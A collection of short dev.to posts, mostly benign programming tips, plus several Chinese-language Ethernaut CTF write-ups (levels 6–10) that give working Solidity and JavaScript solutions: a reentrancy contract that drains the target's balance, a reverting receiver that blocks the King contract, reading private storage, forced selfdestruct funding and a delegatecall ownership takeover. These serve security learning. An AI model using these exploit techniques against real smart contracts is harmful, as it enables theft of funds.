teleren/devto huggingface dataset:
Basic but powerful shortcuts that help editing texts
Tags: beginners, productivity
Published: 2022-05-21 05:58:35

I want to share some basic but very powerful shortcuts that I use every day. These shortcuts come in handy from time to time, and sometimes it is more efficient to use them rather than moving our hand off keyboard and use a mouse. 

Note I am using windows, but I think these shortcuts work across Mac and Linux. 

Keys that we'll use in this article: 
`←` `→` `↑` `↓` `Home` `End` `Ctrl` `Shift` `Z` `X` `C` `V`

---

## Select texts
There are various way to select texts. We can select from a single character to a word, a line, or multiple lines! We have the power to select what we want while holding(👇) `Shift` and moving our cursor. The idea is to select from where cursor starts to where cursor ends.

### Select characters
👇`Shift` + `←`/`→`
select as cursor moving forward or backward.

### Select words
👇`Ctrl` + `←`/`→` 
This allows us to move cursor forward or backward over words.

👇`Shift` + 👇`Ctrl` + `←`/`→`
composed with `Shift`, we can easily select words.

### Select single line
`Home`
move cursor to the start of the line.

👇`Shift` + `Home`
select from cursor position to the start of the line.

`End`
move cursor to the end of the line.

👇`Shift` + `End`
select from cursor position to the end of the line.

### Select multiple lines 
👇`Shift` + `↑`/`↓`
select from cursor position to next position of cursor.

### Select all
👇`Ctrl` + `A`
select all texts within an area.

### Select towards all
👇`Ctrl` + 👇`Shift` + `End`
select from cursor position to the end of an area.

### Select backwards all
👇`Ctrl` + 👇`Shift` + `Home`
select from cursor position to the start of an area.


---

## Actions
Now we have texts selected, we can start manipulate the texts. 

### Copy
👇`Ctrl` + `C`
copy the selected text.

### Cut
👇`Ctrl` + `X`
cut the selected text.

### Paste 
👇`Ctrl` + `V`
paste the texts we copied or cut.

### Undo
👇`Ctrl` + `Z`
Undo your last change.

### Redo
👇`Ctrl` + 👇`Shift` + `Z`
Undo your last undo.  
 
Be aware that the behavior of undo and redo could vary on different environments, and might not work as we want sometimes.

---

## Wrap up
With the help of shortcuts, we can select and edit text easier and faster. They are simple but really powerful. Next time I'll share some basic shortcuts on VSCode and show how we can leverage these tools.
This week’s newsletter is out! (21-05-2022) - Demons be gone
Tags: javascript, tech, webdev, discuss
Published: 2022-05-21 05:53:55

---
title: This week’s newsletter is out! (21-05-2022) - Demons be gone
published: true
description: Another week of great javascript, tech and web development links.
tags: javascript, tech, webdev, discuss
---

Demons be gone

https://markjgsmith.substack.com/p/mark-smiths-newsletter-21-05-2022?s=w

Would love to hear any comments and feedback you have.

[@markjgsmith](https://twitter.com/markjgsmith)
DATA SCIENCE CAREER PATHS TEMPLATE
Tags: career, machinelearning, database, datascience
Published: 2022-05-21 05:47:00


Wondering how to become a Data Scientist? And what skills are required for a Data Scientist?

In this [article](https://blog.getace.io/all-posts/data-science-career-paths-templates), you will find Data Scientist levels descriptions, what skills you need to be a Data Scientist and Data Science career goals examples.


## Data Science Career Path Templates

Click on the role & get the list of career path levels (or grades) for Data Scientist and top Data Science skills on each level.

- [Data Science Developer](https://www.getace.io/templates?category=Data+Science#skill-matrices)
- [Data Analyst](https://www.getace.io/templates?category=Data+Science#skill-matrices)

## 50+ Tech Roles
Need more roles? Go to [Ace’s career path templates](https://www.getace.io/templates) for 50+ tech roles.

You’ll find career paths for Backend Developer, Front End Developer, Game Development, Software Testing (QA), Data Science, Design, and more.
Native deep clone in JS
Tags: javascript, news
Published: 2022-05-21 05:35:33

I recently discovered a new feature in Javascript 🎉. I am a little bit late but I'm really excited about this feature.

Finally, there's a simpler way to deep clone a value using the new native function `structuredClone` available in recent version of NodeJS and JS engines.

As we know, for complex types, assignation will not copy the values but the reference.

```js
const person = { name: 'John Doe' }
const anotherPerson = person

person.name = 'Smith'

console.log(person.name) // Smith
console.log(anotherPerson.name) // Smith
```

`person` and `anotherPerson` contain both the reference of the same object, so if mutate this object, both of them will see the changes.

Sometime, we don't need this behavior but we want to have an independant value, so we need to deep clone it.

Before, to deep clone a complex value like Object or Arrays, we have to do some hacks like 
 `JSON.parse(JSON.stringify(val))`, some of us may have used libraries, or created a helper to do the stuff.

Now it can be done by using a single native function `structuredClone`.

I tried it, I like it and I hope you'll like it too.

👉 https://developer.mozilla.org/en-US/docs/Web/API/structuredClone

Peace ✌
Web Dasturlashda Matematika (Part 1)
Published: 2022-05-21 04:54:34

_"Dasturchi bo'lish uchun qay darajada matematikani bilishim kerak?"_ - savoliga javob tariqasida ushbu post(lar)ni yozishni istadim. Bu postlar **matematika**dagi qaysi mavzular **Web dasturlash** yo'nalishida ko'proq kerak bo'lishiga oydinlik kiritib berish maqsadida yozib boriladi.

Birinchi postimiz **Arifmetika** 🧮, ya'ni, Web dasturlashda arifmetikaning qaysi mavzularini o'rganish haqida bo'ladi ✅

Arifmetika o'zi nima? Arifmetika - bu matematikaning _"sonlarni o'rganish"_ bilan shug'ullanadigan bo'limi.

Arifmetikaning barcha dasturlash yo'nalishlarida **o'ta** muhim mavzulari:

- Qo'shish
- Ayirish
- Ko'paytirish
- Bo'lish
- Modul
- Eksponentsiya
- Logarifm
- >, <, =>, <=, = _va hk._

Bular, shubhasiz, kodning aksariyat qismida talab qilinadigan eng asosiy operatsiyalardir. Bularni bilish nafaqat Web dasturchi uchun balki barcha dasturchilar uchun muhimdir.

Arifmetikadagi yana qaysi mavzular kerakli deb o'ylaysiz? Izohlardi yozib qoldiring!

**P.S.** Keyingi postlarda matematikaning boshqa mavzularini web dasturlashdagi o'rni haqida yozib boraman **إن شاء الل**
Tailone - Tailwind One Page Template
Tags: tailwindcss, template, freetemplate, css
Published: 2022-05-21 04:54:02

Tailone is Tailwind One Page Template with optimized for digital and creative agency. Integrated with Npm tool like Gulp, Browsersync and other tools for automatic workflow. Documented with live examples and snippets code. Easy to change colors, text sizes and all style only from html file.

Demo Preview: [https://tailone.tailwindtemplate.net/]

### Tailnone template features
- W3c Validated
- 1 Page example
- Supported Latest Tailwind Css
- Integrated Gulp, Browsersync and other tools
- Fast loading speed
- Seo Friendly (heading tag structured)
- Mobile first design
- Modern svg icons
- All source link images included in download package
- Commented code
- Well Documented
- 24/7 Friendly customer support
- … and much more

### Tailwind Components included

Tailone Components are also available on the documentation page. So you can develop this template design easily. 

### The powerful Plugins Included

To make the design more attractive, we use some of the best plugins that we have selected by considering the plugin size and loading speed, so that it doesn’t affect the performance of the Tailone template.

- Splide js Slider
- Wow js
- Smooth Scroll
- Glightbox
- Typed js
- Google Fonts

### How to start with Tailone ?

Looking to quickly add Tailone components to your project? Please read our "docs/index.html" and follow instruction step by step. All Tailone components is well documented with live examples. We’re using official Tailwind classes and components whenever possible so integration with your project will be as smooth as possible.

### Workflow Tools

Speed up your development process with modern tools. Tailone included npm scripts to automate your time-consuming tasks in your development workflow with Gulp toolkit and BrowserSync live browser reload.

- Open directory
- Running "npm install"
- Running "npm run start"
- Yup that’s it !

### Free updates

You get the right for a lifetime entitlement to download updates for FREE!. This means you will never pay for any bug-fixes and compatibility upgrades for your theme, ever.

### Need help?

For any questions or concerns, reach us out at support@tailwindtemplate.net. Technical support: As always, our Customer Support team is available 24/7 to answer any questions you might have.

Have idea ? : If you have idea for next theme update, you can contact us.

Happy with our product ? Please give 5 stars rating, because this will support our team to make more update and new features in version.

### Note:

This template is html version ( Not WordPress, Blogger or other cms theme )
Node js version min v13 and Latest version

### Download Link
https://themes.tailwindtemplate.net/tailwind-one-page-template

Follow my Twitter https://twitter.com/ari_budin for get other freebies and premium html template.
How to free up space in Ubuntu
Tags: linux, ubuntu
Published: 2022-05-21 04:32:37

Whenever you are running out of disk space on Ubuntu server/desktop , There are several ways to free up space on ubuntu and other linux based systems.

I have listed down some command line tricks here!

**1. Check disk space**

```
df -h
```
Your will get an output that shows the space

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/72gbapj1xvytakx77icf.png)

**2. Clear APT Cache**
Ubuntu keeps a cache of the installed packages which are downloaded or installed earlier even after uninstallation. Cache files in this location _/var/cache/apt_

To check the disk space consumed you can use the following command.

```
sudo du -csh /var/cache/apt
```

Output will be look like

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/92getovd7z2zqwvumcjn.png)

Now you can clean this cache using the following command.It will clean up entire cache which frees up more space.

```
sudo apt-get clean
```

If you wish to clean up only the outdated packages, you can use the following command.

```
sudo apt-get autoclean
```
**3. Remove unused packages and Kernels**

You can remove the kernels & packages that are no longer needed and that are installed from Ubuntu archive while system updates using the following command.
_Note: This command will not remove the kernels that are installed manually._

```
sudo apt-get autoremove --purge
```
Let's say about Search engine optimization.
Published: 2022-05-21 02:54:01

SEO stands for Search Engine Optimization and is the process used to optimize a website's technical configuration, content relevance and link popularity so its pages can become easily findable, more relevant and popular towards user search queries , and as a consequence, search engines rank them better.

## **Why is SEO important?**

SEO is important because it makes your website more visible, and that means more traffic and more opportunities to convert prospects into customers.

## **SEO Basics**

- Content

Finding the result that serves their needs in the best way is very important in SEO.
You need to create high-quality, intent and freshness content
- Keyword Research and Selection

Keywords determine how you build links, including everything from the tactics you choose to how you plan on implementing them.
- HTML

Your site's HTML is an important piece of the SEO marketing puzzle.
You need to implement Title tags, Meta Description, Schema, Subheadings, Alt Text, URL Slug well
- Site Architecture

A good website architecture leads to a great user experience, which is important for SEO marketing
- Page Speed

If your site loads too slow or certain elements load slowly, Google may penalize you or make it more difficult for you to outrank your competition.
- HTTPS and SSL

Security and safety are the important ranking factors. If Google thinks your site is spammy or sketchy, it’s not going to give you a first-page ranking.
echo content to file
Tags: linux
Published: 2022-05-21 02:52:53

You can use the `echo` command to put some content into a file, but by default it will add a trailing "newline character" to the file. So if you are calculate file's fingerprint, you need to know it calculated the newline character.

For example, if you echo "hello" to a file then calculate the md5, the value will be different from direct calculate `md5("hello")`.

If you don't want echo to add this newline character, you could use the `-n` option:

```bash
$ man echo
-n,  Do not print the trailing newline character
```

Example:
```
$ echo "hello" > a1.txt
$ md5 a1.txt
MD5 (a1.txt) = b1946ac92492d2347c6235b4d2611184
$ cat a1.txt
hello
$ echo -n "hello" > a2.txt
$ md5 a2.txt
MD5 (a2.txt) = 5d41402abc4b2a76b9719d911017c592
$ cat a2.txt
hello%
```

You can see when use `echo -n` then use `cat` to show the file content, it will display an extra "%" to indicate that there is no "newline character". Also you can see, with and without the `-n` option, the md5 value are different.
Debugging Rails in Visual Studio Code When Using Puma-dev
Tags: rails, vscode, tutorial
Published: 2022-05-21 02:19:10

Coming from languages like Swift and Objective-C, using a proper debugger where I don’t have to edit my code to log something or pause execution is pretty critical for tracking down issues quickly. So — I thought — we’re using `puma-dev` to run our Rails app during development, that’s a common setup, and so there must be easy instructions for how to attach Visual Studio Code’s debugger to a running app. Well, not that I could find. I did manage to patch it together through a combination of reading Stack Overflow posts and experimentation.

So, here it is.

## Set up debug port environment variable
First, we need to add an environment variable in a place that puma-dev will load from. I put mine in `~/.powconfig`, because that’s the first thing that gets loaded and it’s in my home directory.
 
**Edit `~/.powconfig` to include this:**

`export RUBY_DEBUG_PORT=1234`

## Update Gemfile
Make sure you’ve got these under `:development`:

```ruby
gem "ruby-debug-ide"
gem "debase" # or byebug
```

I’m sure there’s a way to make this work with the new debugger that comes packaged with Ruby 3.1+ (`rdbg`), but that’s going to be an exercise for another time.

## Add Rails initializer to start `rdebug-ide`

Create a file in `/config/initializers/` called `start_debugger.rb` (or whatever you want), and add this code:

```ruby
if Rails.env.development? && ENV['RUBY_DEBUG_PORT']
  require "ruby-debug-ide"
  Debugger.start_server nil, ENV['RUBY_DEBUG_PORT'].to_i
end
```

## Add Launch Target to project in Visual Studio Code

Add this configuration to `<app root>/.vscode/launch.json`:

```json
{
  "configurations": [
    {
      "name": "Remote Debug",
      "type": "Ruby",
      "request": "attach",
      "remoteHost": "127.0.0.1",
      "remotePort": "1234",
      "remoteWorkspaceRoot": "${workspaceRoot}",
      "cwd": "${workspaceRoot}",
    }
  ]
}
```

## Finally
Restart your app with `touch tmp/restart.txt`.

Test it out by running “Remote Debug”, setting a breakpoint in one of your controllers, and refreshing the page that will trigger the code. If everything is setup correctly, your app should pause at the breakpoint. 

Congratulations! 🎉
Ethernaut系列-Level 10(Reentrance)
Published: 2022-05-21 01:48:49


## LEVEL 10 （Reentrance）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      //(bool result,) = msg.sender.call{value:_amount}("");
      //原文是上面这行，在0.6是无法编译的，修改为下面这行
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}
```
## 通关要求
  取光合约的余额

##要点
  重入攻击：方法里调用有外部方法，外部方法又调用本方法，导致安全问题
https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21

##安全建议
1.外部方法加锁
2.严格遵循check-effect-interaction原则
   检查条件->修改变量/状态->交互（执行动作）
   交互要放在最后

**check-effect-interaction规则很重要，要养成良好的习惯！！！**

##解题思路
1.写个合约在receive再调用withdraw进行重入
contracts/10ReentranceRun.js
```solidity
    function run(address _levelAddress) external payable {
        levelAddress = _levelAddress;
        donateAmount = msg.value;
        ILevel(levelAddress).donate{value:donateAmount}(address(this));
        ILevel(levelAddress).withdraw(donateAmount);
    }
    //重入withdraw
    receive() external payable {
        uint256 levelBalance = payable(levelAddress).balance;
        if (msg.sender == levelAddress && levelBalance !=0 ) {
            ILevel(levelAddress).withdraw(donateAmount>levelBalance?levelBalance:donateAmount);
        }
    }
```
test/10Reentrance.js
```javascript
  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address, {
      value: ethers.utils.parseEther("0.5"),
    });
  });
```
The worst thing I did in Rust
Tags: rust, pitfall
Published: 2022-05-21 01:44:25

---
title: The worst thing I did in Rust
published: true
description: 
tags: rust,rustlang,pitfall
//cover_image: https://direct_url_to_image.jpg
---

The worst thing I did in Rust was using unbounded asynchronous channels. It took days to figure out that my program had backpressure, and channels ate up all RAM.

So, since then, I have always used sync_channel or bounded channels from Crossbeam.
Ethernaut系列-Level 9 (King)
Published: 2022-05-21 01:33:27


## LEVEL 9 （King）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
```
## 通关要求

  1.夺取king
  2.阻止owner夺回king

##要点
  1.合约的storage都是可以见的，包含private
  2.调用transfer是会报错（例如gas不够/receive故意revert）,这样会阻止后续的业务，可以用send/call再判断返回结果,不过这个也不是最好的方案，因为如果失败了，那用户如何再取回退款？
所以比较好的方案是，不在其他业务逻辑里直接退，业务只打可退款标识之类，再提供一个根据标识领取退款的对外方法（当然记得退完要更新已领标识）

##解题思路
1.查看prize后直接转账
contracts/09KingRun.sol

```solidity
    function run(address _levelAddress) external payable{     
        //transfer会失败，2300gas限制了
        (bool result,) = payable(_levelAddress).call{value:msg.value}("");        
        if(!result) revert("call error");
    }

    //条件二:阻止转账（其实不实现这个方法也是阻止的）
    receive() external payable {
        revert("not receive");
    }
```
test/09King.js
```javascript
  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address, {
      value: 1000000000000000 + 1,
    });
  });

  it("check", async function () {
    //检查通过条件
    //1.king不再是levelOwner
    //2.levelOwner无法通过转账取回King
    expect(await levelContract._king()).to.equal(runContract.address);
    let isException = false;
    try {
      await levelOwner.sendTransaction({
        to: levelContract.address,
        value: 1000,
      });
    } catch (e) {
      isException = true;
      //异常才是对的
    }
    expect(isException).to.equal(true);
    expect(await levelContract._king()).to.not.equal(levelOwner.address);
  });
```
Ethernaut系列-Level 8 (Vault)
Published: 2022-05-21 01:09:28


## LEVEL 8 （Vault）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
```
## 通关要求
  locked = false


##要点
  合约的存储变量，包含private，对外都是可见的.
  跟第三关类似
  https://dev.to/bin2chen/ethernautxi-lie-level-3coinflip-521d

##解题思路
直接查看password并调用
test/08Vault.js
```javascript
  it("attacks", async function () {
    //这个值可以从chrome的console中执行来获取（虽然是private）：await web3.eth.getStorageAt(instance,1)+""
    await levelContract
      .connect(player)
      .unlock(
        "0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
      );
  });
```
Ethernaut系列-Level 7 (Force)
Published: 2022-05-21 01:05:20

## LEVEL 7 （Force）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
```
## 通关要求
使合约的余额不为0

##要点
  合约要能接受转账，需要合约有receive/fallback或者其他外部方法是payable，不然转账过去会报错。
但有个例外就是selfdestruct指定的接收地址，是无法拒接的把destruct后的余额转给接受者

##解题思路
contracts/07ForceRun.sol
```solidity
contract ForceRun {
    function destory(address _levelAddress) external payable {
        //selfdestruct指定的地址，就算没有receive/fallback也是无法拒接把balance转给它
        selfdestruct(payable(_levelAddress));
    }
}
```
test/07Force.js
```javascript
  it("attacks", async function () {
    await runContract
      .connect(player)
      .destory(levelContract.address, {
        value: ethers.utils.parseEther("0.1"),
      });
  });
```
Ethernaut系列-Level 6(Delegate)
Published: 2022-05-21 00:54:03

## LEVEL 6 （Delegate）
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}
```
##通关要求
获取owner

##要点
delegatecall使用的是调用方的storage
delegatecall的注意事项有很多，这里有篇新出炉（2022-05-21）的史上最大bug奖金，可以去了解下，文章中间有描述proxy的一些要点。

https://medium.com/immunefi/wormhole-uninitialized-proxy-bugfix-review-90250c41a43a

##解题思路
直接javascript调用即可
```javascript
  it("attacks", async function () {
    //代理，不能直接调用await levelContract.pwd(),会找到方法，abi没有
    const contract = await ethers.getContractAt(
      "Delegate",
      levelContract.address,
      player
    );
    await contract.pwn();
  });
```
Batman Logo | Pure CSS
Tags: codepen, css, tutorial, showdev
Published: 2022-05-21 00:51:26

In today’s tutorial, we create another Batman logo with CSS. This is Tim Burton's Batman logo. Though this is just a fun tutorial, you can practice CSS art to improve your CSS skills. CSS art has been a fun way for me to learn new properties and improve my CSS skills. I have a bunch of CSS art tutorials that are Batman inspired. You can check them out [here](https://codepen.io/collection/VYmjxP).

For this tutorial, all we need is some basic HTML and CSS.

{% codepen https://codepen.io/rembertdesigns/pen/GRQrpbV %}

If you liked this post, make sure to follow me on [Twitter](https://twitter.com/RembertDesigns) where I post daily about Tech related things!

### 🌎 Let's Connect

- [Portfolio](https://www.rembertdesigns.co/)

- [Twitter](https://twitter.com/RembertDesigns)

- [Github](https://github.com/rembertdesigns)

- [Codepen](https://codepen.io/rembertdesigns)

- [LinkedIn](https://www.linkedin.com/in/rrembert/)